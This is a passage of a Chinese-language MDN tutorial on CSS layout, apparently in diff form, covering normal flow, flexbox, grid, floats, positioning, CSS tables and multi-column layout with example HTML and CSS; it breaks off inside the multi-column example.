+<p>正常布局流(normal flow)是指在不对页面进行任何布局控制时,浏览器默认的HTML布局方式。让我们快速地看一个HTML的例子:</p> + +<pre class="brush: html notranslate"><p>I love my cat.</p> + +<ul> + <li>Buy cat food</li> + <li>Exercise</li> + <li>Cheer up friend</li> +</ul> + +<p>The end!</p></pre> + +<p>默认情况下,浏览器的显示如下:</p> + +<p>{{ EmbedLiveSample('正常布局流Normal_flow', '100%', 200) }}</p> + +<p>注意,HTML元素完全按照源码中出现的先后次序显示——第一个段落、无序列表、第二个段落。</p> + +<p>出现在另一个元素下面的元素被描述为<strong>块</strong>元素,与出现在另一个元素旁边的<strong>内联元素</strong>不同,内联元素就像段落中的单个单词一样。</p> + +<div class="blockIndicator note"> +<p>注意:块元素内容的布局方向被描述为<strong>块方向</strong>。块方向在英语等具有水平<strong>书写模式</strong>(<code>writing mode</code>)的语言中垂直运行。它可以在任何垂直书写模式的语言中水平运行。对应的<strong>内联方向</strong>是内联内容(如句子)的运行方向。</p> +</div> + +<p>当你使用css创建一个布局时,你正在离开<strong>正常布局流</strong>,但是对于页面上的多数元素,<strong>正常布局流</strong>将完全可以创建你所需要的布局。从一个结构良好的Html文档开始是如此重要,因为你可以按照默认的方式来搭建页面,而不是自己发明轮子。</p> + +<p>下列布局技术会覆盖默认的布局行为:</p> + +<ul> + <li><strong> {{cssxref("display")}} </strong>属性 — 标准的value,比如<code>block</code>, <code>inline</code> 或者 <code>inline-block</code> 元素在正常布局流中的表现形式 (见 <a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/Introduction_to_CSS/Box_model#Types_of_CSS_boxes">Types of CSS boxes</a>). 接着是全新的布局方式,通过设置<code>display</code>的值, 比如 <a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Grids">CSS Grid</a> 和 <a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a>.</li> + <li><strong>浮动</strong>——应用 <strong>{{cssxref("float")}}</strong> 值,诸如 <code>left</code> 能够让块级元素互相并排成一行,而不是一个堆叠在另一个上面。</li> + <li><strong>{{cssxref("position")}} </strong>属性 — 允许你精准设置盒子中的盒子的位置,正常布局流中,默认为 <code>static</code> ,使用其它值会引起元素不同的布局方式,例如将元素固定到浏览器视口的左上角。</li> + <li><strong>表格布局</strong>— 表格的布局方式可以用在非表格内容上,可以使用<code>display: table</code>和相关属性在非表元素上使用。</li> + <li><strong>多列布局</strong>— 这个 <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Columns">Multi-column layout</a> 属性 可以让块按列布局,比如报纸的内容就是一列一列排布的。</li> +</ul> + +<h2 id="display属性">display属性</h2> + +<p>在css中实现页面布局的主要方法是设定<code>display</code>属性的值。此属性允许我们更改默认的显示方式。正常流中的所有内容都有一个<code>display</code>的值,用作元素的默认行为方式。例如,英文段落显示在一个段落的下面,这是因为它们的样式是<code>display:block</code>。如果在段落中的某个文本周围创建链接,则该链接将与文本的其余部分保持内联,并且不会打断到新行。这是因为{{htmlelement("a")}}元素默认为<code>display:inline</code>。</p> + +<p>您可以更改此默认显示行为。例如,{{htmlelement("li")}}元素默认为<code>display:block</code>,这意味着在我们的英文文档中,列表项显示为一个在另一个之下。如果我们将显示值更改为<code>inline</code>,它们现在将显示在彼此旁边,就像单词在句子中所做的那样。事实上,您可以更改任何元素的<code>display</code>值,这意味着您可以根据它们的语义选择html元素,而不必关心它们的外观。他们的样子是你可以改变的。</p> + +<p>除了可以通过将一些内容从<code>block</code>转换为<code>inline</code>(反之亦然)来更改默认表示形式之外,还有一些更大的布局方法以<code>display</code>值开始。但是,在使用这些属性时,通常需要调用其他属性。在讨论布局时,对我们来说最重要的两个值是<code>display</code>:<code>flex</code>和<code>display</code>:<code>grid</code>。</p> + +<h2 id="弹性盒子Flexbox">弹性盒子(Flexbox)</h2> + +<p>Flexbox 是CSS 弹性盒子布局模块(<a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout">Flexible Box Layout</a> Module)的缩写,它被专门设计出来用于创建横向或是纵向的一维页面布局。要使用flexbox,你只需要在想要进行flex布局的父元素上应用<code>display: flex</code> ,所有直接子元素都将会按照flex进行布局。我们来看一个例子。</p> + +<p>下面这些HTML标记描述了一个class为<code>wrapper</code>的容器元素,它的内部有三个<code><div></code>元素。它们在我们的英文文档当中,会默认地作为块元素从上到下进行显示。</p> + +<p>现在,当我们把<code>display: flex</code>添加到它的父元素时,这三个元素就自动按列进行排列。这是由于它们变成了<em>flex项(flex items)</em>,按照flex容器(也就是它们的父元素)的一些flex相关的初值进行flex布局:它们整整齐齐排成一行,是因为父元素上<code>flex-direction</code>的初值是<code>row</code>。它们全都被拉伸至和最高的元素高度相同,是因为父元素上<code>align-items</code>属性的初值是<code>stretch</code>。这就意味着所有的子元素都会被拉伸到它们的flex容器的高度,在这个案例里就是所有flex项中最高的一项。所有项目都从容器的开始位置进行排列,排列成一行后,在尾部留下一片空白。</p> + +<div id="Flex_1"> +<div class="hidden"> +<h6 id="Flexbox_Example_1">Flexbox Example 1</h6> + +<pre class="brush: css notranslate">* {box-sizing: border-box;} + +.wrapper > div { + border-radius: 5px; + background-color: rgb(207,232,220); + padding: 1em; +} + </pre> +</div> + +<pre class="brush: css notranslate">.wrapper { + display: flex; +} +</pre> + +<pre class="brush: html notranslate"><div class="wrapper"> + <div class="box1">One</div> + <div class="box2">Two</div> + <div class="box3">Three</div> +</div> +</pre> +</div> + +<p>{{ EmbedLiveSample('Flex_1', '300', '200') }}</p> + +<p>除了上述可以被应用到flex容器的属性以外,还有很多属性可以被应用到flex项(flex items)上面。这些属性可以改变flex项在flex布局中占用宽/高的方式,允许它们通过伸缩来适应可用空间。</p> + +<p>作为一个简单的例子,我们可以在我们的所有子元素上添加{{cssxref("flex")}} 属性,并赋值为<code>1</code>,这会使得所有的子元素都伸展并填充容器,而不是在尾部留下空白,如果有更多空间,那么子元素们就会变得更宽,反之,他们就会变得更窄。除此之外,如果你在HTML标记中添加了一个新元素,那么它们也会变得更小,来为新元素创造空间——不管怎样,最终它们会调整自己直到占用相同宽度的空间。</p> + +<div id="Flex_2"> +<div class="hidden"> +<h6 id="Flexbox_Example_2">Flexbox Example 2</h6> + +<pre class="brush: css notranslate"> * {box-sizing: border-box;} + + .wrapper > div { + border-radius: 5px; + background-color: rgb(207,232,220); + padding: 1em; + } + </pre> +</div> + +<pre class="brush: css notranslate">.wrapper { + display: flex; +} + +.wrapper > div { + flex: 1; +} +</pre> + +<pre class="brush: html notranslate"><div class="wrapper"> + <div class="box1">One</div> + <div class="box2">Two</div> + <div class="box3">Three</div> +</div> +</pre> +</div> + +<p>{{ EmbedLiveSample('Flex_2', '300', '200') }}</p> + +<div class="note"> +<p><strong>注意:</strong>为了找到更多关于Flexbox的信息,看看我们的 <a href="/en-US/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a> 的文章。</p> +</div> + +<h2 id="Grid布局">Grid布局</h2> + +<p>Flexbox用于设计横向或纵向的布局,而Grid布局则被设计用于同时在两个维度上把元素按行和列排列整齐。</p> + +<p>同flex一样,你可以通过指定display的值来转到grid布局:<code>display: grid</code>。下面的例子使用了与flex例子类似的HTML标记,描述了一个容器和若干子元素。除了使用<code>display:grid</code>,我们还分别使用 {{cssxref("grid-template-rows")}} 和 {{cssxref("grid-template-columns")}} 两个属性定义了一些行和列的轨道。定义了三个<code>1fr</code>的列,还有两个<code>100px</code>的行之后,无需再在子元素上指定任何规则,它们自动地排列到了我们创建的格子当中。</p> + +<div id="Grid_1"> +<div class="hidden"> +<h6 id="Grid_example_1">Grid example 1</h6> + +<pre class="brush: css notranslate"> * {box-sizing: border-box;} + + .wrapper > div { + border-radius: 5px; + background-color: rgb(207,232,220); + padding: 1em; + } + </pre> +</div> + +<pre class="brush: css notranslate">.wrapper { + display: grid; + grid-template-columns: 1fr 1fr 1fr; + grid-template-rows: 100px 100px; + grid-gap: 10px; +} +</pre> + +<pre class="brush: html notranslate"><div class="wrapper"> + <div class="box1">One</div> + <div class="box2">Two</div> + <div class="box3">Three</div> + <div class="box4">Four</div> + <div class="box5">Five</div> + <div class="box6">Six</div> +</div> +</pre> +</div> + +<p>{{ EmbedLiveSample('Grid_1', '300', '330') }}</p> + +<p>一旦你拥有了一个grid,你也可以显式地将元素摆放在里面,而不是依赖于浏览器进行自动排列。在下面的第二个例子里,我们定义了一个和上面一样的grid,但是这一次我们只有三个子元素。我们利用 {{cssxref("grid-column")}} 和 {{cssxref("grid-row")}} 两个属性来指定每一个子元素应该从哪一行/列开始,并在哪一行/列结束。这就能够让子元素在多个行/列上展开。</p> + +<div id="Grid_2"> +<div class="hidden"> +<h6 id="Grid_example_2">Grid example 2</h6> + +<pre class="brush: css notranslate"> * {box-sizing: border-box;} + + .wrapper > div { + border-radius: 5px; + background-color: rgb(207,232,220); + padding: 1em; + } + </pre> +</div> + +<pre class="brush: css notranslate">.wrapper { + display: grid; + grid-template-columns: 1fr 1fr 1fr; + grid-template-rows: 100px 100px; + grid-gap: 10px; +} + +.box1 { + grid-column: 2 / 4; + grid-row: 1; +} + +.box2 { + grid-column: 1; + grid-row: 1 / 3; +} + +.box3 { + grid-row: 2; + grid-column: 3; +} +</pre> + +<pre class="brush: html notranslate"><div class="wrapper"> + <div class="box1">One</div> + <div class="box2">Two</div> + <div class="box3">Three</div> +</div> +</pre> +</div> + +<p>{{ EmbedLiveSample('Grid_2', '300', '330') }}</p> + +<div class="note"> +<p><strong>注意</strong>: 这两个例子只是展示了grid布局的冰山一角,要深入了解grid布局,请参阅我们的文章<a href="/en-US/docs/Learn/CSS/CSS_layout/Grids">Grid Layout</a>。</p> +</div> + +<p>这篇指南的其余部分介绍了其他的布局方式,它们与你的页面的主要布局结构关系不大,但是却能够帮助你实现特殊的操作。同时,只要你理解了每一个布局任务的初衷,你就能够马上意识到哪一种布局更适合你的组件。</p> + +<h2 id="浮动">浮动</h2> + +<p>把一个元素“浮动”(float)起来,会改变该元素本身和在正常布局流(normal flow)中跟随它的其他元素的行为。这一元素会浮动到左侧或右侧,并且从正常布局流(normal flow)中移除,这时候其他的周围内容就会在这个被设置浮动({{cssxref("float")}})的元素周围环绕。</p> + +<p>{{cssxref("float")}} 属性有四个可能的值:</p> + +<ul> + <li><code>left</code> — 将元素浮动到左侧。</li> + <li><code>right</code> — 将元素浮动到右侧。</li> + <li><code>none</code> — 默认值, 不浮动。</li> + <li><code>inherit</code> — 继承父元素的浮动属性。</li> +</ul> + +<p>在下面这个例子当中,我们把一个<code><div></code>元素浮动到左侧,并且给了他一个右侧的{{cssxref("margin")}},把文字推开。这给了我们文字环绕着这个<code><div></code>元素的效果,在现代网页设计当中,这是你唯一需要学会的事情。</p> + +<div id="Float_1"> +<div class="hidden"> +<h6 id="Floats_example">Floats example</h6> + +<pre class="brush: css notranslate">body { + width: 90%; + max-width: 900px; + margin: 0 auto; +} + +p { + line-height: 2; + word-spacing: 0.1rem; +} + +.box { + background-color: rgb(207,232,220); + border: 2px solid rgb(79,185,227); + padding: 10px; + border-radius: 5px; +} +</pre> +</div> + +<pre class="brush: html notranslate"><h1>Simple float example</h1> + +<div class="box">Float</div> + +<p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> + +</pre> + +<pre class="brush: css notranslate"> +.box { + float: left; + width: 150px; + height: 150px; + margin-right: 30px; +} +</pre> +</div> + +<p>{{ EmbedLiveSample('Float_1', '100%', 600) }}</p> + +<div class="note"> +<p><strong>注意: </strong>: CSS浮动的知识会在我们关于 <a href="/en-US/docs/Learn/CSS/CSS_layout/Floats">浮动</a>的教程当中被详细地解释。除此之外,如果您想要了解在Flexbox和Grid布局出现之前我们是如何进行列布局的(仍然有可能碰到这种情形),请阅读我们关于<a href="/zh-CN/docs/Learn/CSS/CSS_layout/%E4%BC%A0%E7%BB%9F%E7%9A%84%E5%B8%83%E5%B1%80%E6%96%B9%E6%B3%95">传统布局方式</a>的文章.</p> +</div> + +<h2 id="定位技术">定位技术</h2> + +<p>定位(positioning)能够让我们把一个元素从它原本在正常布局流(normal flow)中应该在的位置移动到另一个位置。定位(positioning)并不是一种用来给你做主要页面布局的方式,它更像是让你去管理和微调页面中的一个特殊项的位置。</p> + +<p>有一些非常有用的技术在特定的布局下依赖于{{cssxref("position")}}属性。同时,理解定位(positioning)也能够帮助你理解正常布局流(normal flow),理解把一个元素移出正常布局流(normal flow)是怎么一回事。</p> + +<p>有五种主要的定位类型需要我们了解:</p> + +<ul> + <li><strong>静态定位(Static positioning)</strong>是每个元素默认的属性——它表示“将元素放在文档布局流的默认位置——没有什么特殊的地方”。</li> + <li><strong>相对定位(Relative positioning)</strong>允许我们相对于元素在正常的文档流中的位置移动它——包括将两个元素叠放在页面上。这对于微调和精准设计(design pinpointing)非常有用。</li> + <li><strong>绝对定位(Absolute positioning)</strong>将元素完全从页面的正常布局流(normal layout flow)中移出,类似将它单独放在一个图层中。我们可以将元素相对于页面的 <code><html></code> 元素边缘固定,或者相对于该元素的<em>最近被定位祖先元素(nearest positioned ancestor element)</em>。绝对定位在创建复杂布局效果时非常有用,例如通过标签显示和隐藏的内容面板或者通过按钮控制滑动到屏幕中的信息面板。</li> + <li><strong>固定定位(Fixed positioning)</strong>与绝对定位非常类似,但是它是将一个元素相对浏览器视口固定,而不是相对另外一个元素。 这在创建类似在整个页面滚动过程中总是处于屏幕的某个位置的导航菜单时非常有用。</li> + <li><strong>粘性定位(Sticky positioning)</strong>是一种新的定位方式,它会让元素先保持和<code>position: static</code>一样的定位,当它的相对视口位置(offset from the viewport)达到某一个预设值时,他就会像<code>position: fixed</code>一样定位。</li> +</ul> + +<h3 id="简单定位示例">简单定位示例</h3> + +<p>我们将展示一些示例代码来熟悉这些布局技术. 这些示例代码都作用在下面这一个相同的HTML上:</p> + +<pre class="brush: html notranslate"><h1>Positioning</h1> + +<p>I am a basic block level element.</p> +<p class="positioned">I am a basic block level element.</p> +<p>I am a basic block level element.</p></pre> + +<p>该HTML将使用以下CSS默认样式:</p> + +<pre class="brush: css notranslate">body { + width: 500px; + margin: 0 auto; +} + +p { + background-color: rgb(207,232,220); + border: 2px solid rgb(79,185,227); + padding: 10px; + margin: 10px; + border-radius: 5px; +}</pre> + +<p>渲染效果如下:</p> + +<p>{{ EmbedLiveSample('简单定位示例', '100%', 300) }}</p> + +<h3 id="相对定位">相对定位</h3> + +<p>相对定位(relative positioning)让你能够把一个正常布局流(normal flow)中的元素从它的默认位置按坐标进行相对移动。比如将一个图标往下调一点,以便放置文字. 我们可以通过下面的规则添加相对定位来实现效果: </p> + +<pre class="brush: css notranslate">.positioned { + position: relative; + top: 30px; + left: 30px; +}</pre> + +<p>这里我们给中间段落的{{cssxref("position")}} 一个 <code>relative</code>值——这属性本身不做任何事情,所以我们还添加了{{cssxref("top")}}和{{cssxref("left")}}属性。这些可以将受影响的元素向下向右移——这可能看起来和你所期待的相反,但你需要把它看成是左边和顶部的元素被“推开”一定距离,这就导致了它的向下向右移动。</p> + +<p>添加此代码将给出以下结果:</p> + +<div id="Relative_1"> +<div class="hidden"> +<h6 id="Relative_positioning_example">Relative positioning example</h6> + +<pre class="brush: html notranslate"><h1>Relative positioning</h1> + +<p>I am a basic block level element.</p> +<p class="positioned">This is my relatively positioned element.</p> +<p>I am a basic block level element.</p></pre> + +<pre class="brush: css notranslate">body { + width: 500px; + margin: 0 auto; +} + +p { + background-color: rgb(207,232,220); + border: 2px solid rgb(79,185,227); + padding: 10px; + margin: 10px; + border-radius: 5px; +} +</pre> +</div> + +<pre class="brush: css notranslate">.positioned { + position: relative; + background: rgba(255,84,104,.3); + border: 2px solid rgb(255,84,104); + top: 30px; + left: 30px; +} +</pre> +</div> + +<p>{{ EmbedLiveSample('Relative_1', '100%', 300) }}</p> + +<h3 id="绝对定位">绝对定位</h3> + +<p>绝对定位用于将元素移出正常布局流(normal flow),以坐标的形式相对于它的容器定位到web页面的任何位置,以创建复杂的布局。有趣的是,它经常被用于与相对定位和浮动的协同工作。</p> + +<p>回到我们最初的非定位示例,我们可以添加以下的CSS规则来实现绝对定位:</p> + +<pre class="brush: css notranslate">.positioned { + position: absolute; + top: 30px; + left: 30px; +}</pre> + +<p>这里我们给我们的中间段一个{{cssxref("position")}}的 <code>absolute</code>值,并且和前面一样加上 {{cssxref("top")}} 和{{cssxref("left")}} 属性。但是,添加此代码将给出以下结果:</p> + +<div id="Absolute_1"> +<div class="hidden"> +<h6 id="Absolute_positioning_example">Absolute positioning example</h6> + +<pre class="brush: html notranslate"><h1>Absolute positioning</h1> + +<p>I am a basic block level element.</p> +<p class="positioned">This is my absolutely positioned element.</p> +<p>I am a basic block level element.</p></pre> + +<pre class="brush: css notranslate">body { + width: 500px; + margin: 0 auto; +} + +p { + background-color: rgb(207,232,220); + border: 2px solid rgb(79,185,227); + padding: 10px; + margin: 10px; + border-radius: 5px; +}</pre> +</div> + +<pre class="brush: css notranslate">.positioned { + position: absolute; + background: rgba(255,84,104,.3); + border: 2px solid rgb(255,84,104); + top: 30px; + left: 30px; +}</pre> +</div> + +<p>{{ EmbedLiveSample('Absolute_1', '100%', 300) }}</p> + +<p>这和之前截然不同!定位元素现在已经与页面布局的其余部分完全分离,并位于页面的顶部。其他两段现在靠在一起,好像之前那个中间段落不存在一样。{{cssxref("top")}}和{{cssxref("left")}}属性对绝对位置元素的影响不同于相对位置元素。在这一案例当中,他们没有指定元素相对于原始位置的移动程度。相反,在这一案例当中,它们指定元素应该从页面边界的顶部和左边的距离(确切地说,是 <code><html></code>元素的距离)。我们也可以修改作为容器的那个元素(在这里是<code><html></code>元素),要了解这方面的知识,参见关于<a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Positioning">定位(positioning)</a>的课程</p> + +<p>我们现在暂时不讨论固定定位( fixed positioning )——它基本上以相同的方式工作,除了它仍然固定在浏览器窗口的边缘,而不是它定位的父节点的边缘。</p> + +<h3 id="固定定位">固定定位</h3> + +<p>固定定位(fixed positioning)同绝对定位(absolute positioning)一样,将元素从文档流(document flow)当中移出了。但是,定位的坐标不会应用于"容器"边框来计算元素的位置,而是会应用于视口(viewport)边框。利用这一特性,我们可以轻松搞出一个固定位置的菜单,而不受底下的页面滚动的影响。</p> + +<p>在这个例子里面,我们在HTML加了三段很长的文本来使得页面可滚动,又加了一个带有<code>position: fixed</code>的盒子。</p> + +<pre class="brush: html notranslate"><h1>Fixed positioning</h1> + +<div class="positioned">Fixed</div> + +<p>Paragraph 1.</p> +<p>Paragraph 2.</p> +<p>Paragraph 3.</p> +</pre> + +<div id="Fixed_1"> +<div class="hidden"> +<h6 id="Fixed_positioning_example">Fixed positioning example</h6> + +<pre class="brush: html notranslate"><h1>Fixed positioning</h1> + +<div class="positioned">Fixed</div> + +<p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> + +<p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> + +<p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> + +</pre> + +<pre class="brush: css notranslate">body { + width: 500px; + margin: 0 auto; +} + +.positioned { + background: rgba(255,84,104,.3); + border: 2px solid rgb(255,84,104); + padding: 10px; + margin: 10px; + border-radius: 5px; +}</pre> +</div> + +<pre class="brush: css notranslate">.positioned { + position: fixed; + top: 30px; + left: 30px; +}</pre> +</div> + +<p>{{ EmbedLiveSample('Fixed_1', '100%', 200) }}</p> + +<h3 id="粘性定位">粘性定位</h3> + +<p>粘性定位(sticky positioning)是最后一种我们能够使用的定位方式。它将默认的静态定位(static positioning)和固定定位(fixed positioning)相混合。当一个元素被指定了<code>position: sticky</code>时,它会在正常布局流中滚动,直到它出现在了我们给它设定的相对于容器的位置,这时候它就会停止随滚动移动,就像它被应用了<code>position: fixed</code>一样。</p> + +<div id="Sticky_1"> +<div class="hidden"> +<h6 id="Sticky_positioning_example">Sticky positioning example</h6> + +<pre class="brush: html notranslate"><h1>Sticky positioning</h1> + +<p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> + +<div class="positioned">Sticky</div> + +<p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> + +<p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> </pre> + +<pre class="brush: css notranslate">body { + width: 500px; + margin: 0 auto; +} + +.positioned { + background: rgba(255,84,104,.3); + border: 2px solid rgb(255,84,104); + padding: 10px; + margin: 10px; + border-radius: 5px; +}</pre> +</div> + +<pre class="brush: css notranslate">.positioned { + position: sticky; + top: 30px; + left: 30px; +}</pre> +</div> + +<p>{{ EmbedLiveSample('Sticky_1', '100%', 200) }}</p> + +<div class="note"> +<p><strong>注意</strong>: 想要发现更多关于定位的信息,请参阅我们的<a href="/en-US/docs/Learn/CSS/CSS_layout/Positioning">Positioning</a>和<a href="/en-US/docs/Learn/CSS/CSS_layout/Practical_positioning_examples">Practical positioning examples</a>文章。</p> +</div> + +<h2 id="表格布局">表格布局</h2> + +<p>HTML表格对于显示表格数据是很好的,但是很多年前——在浏览器中支持基本的CSS之前——web开发人员过去也常常使用表格来完成整个网页布局——将它们的页眉、页脚、不同的列等等放在不同的表行和列中。这在当时是有效的,但它有很多问题——表布局是不灵活的,繁重的标记,难以调试和语义上的错误(比如,屏幕阅读器用户在导航表布局方面有问题)。</p> + +<p>一个{{htmlelement("table")}}标签之所以能够像表格那样展示,是由于css默认给{{htmlelement("table")}}标签设置了一组table布局属性。当这些属性被应用于排列非{{htmlelement("table")}}元素时,这种用法被称为“使用CSS表格”。</p> + +<p>下面这个例子展示了一个这样的用法。使用CSS表格来进行布局,在现在这个时间点应该被认为是一种传统方法,它通常会被用于兼容一些不支持Flexbox和Grid的浏览器。</p> + +<p>让我们来看一个例子。首先,创建HTML表单的一些简单标记。每个输入元素都有一个标签,我们还在一个段落中包含了一个标题。为了进行布局,每个标签/输入对都封装在{{htmlelement("div")}}中。</p> + +<pre class="brush: html notranslate"><form> + <p>First of all, tell us your name and age.</p> + <div> + <label for="fname">First name:</label> + <input type="text" id="fname"> + </div> + <div> + <label for="lname">Last name:</label> + <input type="text" id="lname"> + </div> + <div> + <label for="age">Age:</label> + <input type="text" id="age"> + </div> +</form></pre> + +<p>现在,我们例子中的CSS。除了使用 {{cssxref("display")}} 属性外,大多数CSS都是相当普通的。 {{htmlelement("form")}}, {{htmlelement("div")}}, {{htmlelement("label")}}和{{htmlelement("input")}}被告知要分别显示表、表行和表单元——基本上,它们会像HTML表格标记一样,导致标签和输入在默认情况下排列整齐。我们所要做的就是添加一些大小、边缘等等,让一切看起来都好一点,我们就完成了。</p> + +<p>你会注意到标题段落已经给出了 <code>display: table-caption;</code>——这使得它看起来就像一个表格{{htmlelement("caption")}} ——同时出于设计需要,我们通过<code>caption-side: bottom;</code> 告诉标题应该展示在表格的底部,即使这个{{htmlelement("p")}}标记在源码中是在<code><input></code>之前。这就能让你有一点灵活的弹性。</p> + +<pre class="brush: css notranslate">html { + font-family: sans-serif; +} + +form { + display: table; + margin: 0 auto; +} + +form div { + display: table-row; +} + +form label, form input { + display: table-cell; + margin-bottom: 10px; +} + +form label { + width: 200px; + padding-right: 5%; + text-align: right; +} + +form input { + width: 300px; +} + +form p { + display: table-caption; + caption-side: bottom; + width: 300px; + color: #999; + font-style: italic; +}</pre> + +<p>结果如下:</p> + +<p>{{ EmbedLiveSample('CSS_表格', '100%', '170') }}</p> + +<p>你可以在 <a href="https://mdn.github.io/learning-area/css/styling-boxes/box-model-recap/css-tables-example.html">css-tables-example.html</a> 看到预览版 (也可以见<a href="https://github.com/mdn/learning-area/blob/master/css/styling-boxes/box-model-recap/css-tables-example.html">源码</a>)</p> + +<h2 id="多列布局">多列布局</h2> + +<p>多列布局模组给了我们 一种把内容按列排序的方式,就像文本在报纸上排列那样。由于在web内容里让你的用户在一个列上通过上下滚动来阅读两篇相关的文本是一种非常低效的方式,那么把内容排列成多列可能是一种有用的技术。</p> + +<p>要把一个块转变成多列容器(multicol container),我们可以使用 {{cssxref("column-count")}}属性来告诉浏览器我们需要多少列,也可以使用{{cssxref("column-width")}}来告诉浏览器以至少某个宽度的尽可能多的列来填充容器。</p> + +<p>在下面这个例子中,我们从一个class为<code>container</code>的<code><div></code>容器元素里边的一块HTML开始。</p> + +<pre class="brush: html notranslate"><div class="container"> + <h1>Multi-column layout</h1> + + <p>Paragraph 1.</p> + <p>Paragraph 2.</p> + +</div> +</pre> + +<p>我们指定了该容器的<code>column-width</code>为200像素,这让浏览器创建了尽可能多的200像素的列来填充这一容器。接着他们共同使用剩余的空间来伸展自己的宽度。</p> + +<div id="Multicol_1"> +<div class="hidden"> +<h6 id="Multicol_example">Multicol example</h6> + +<pre class="brush: html notranslate"> <div class="container"> + <h1>Multi-column Layout</h1> + + <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> + + + <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> + + </div> + </pre> + +<pre class="brush: css notranslate">body { max-width: 800px; margin: 0 auto; } </pre> +</div> + +<pre class="brush: css notranslate"> .container { + column-width: 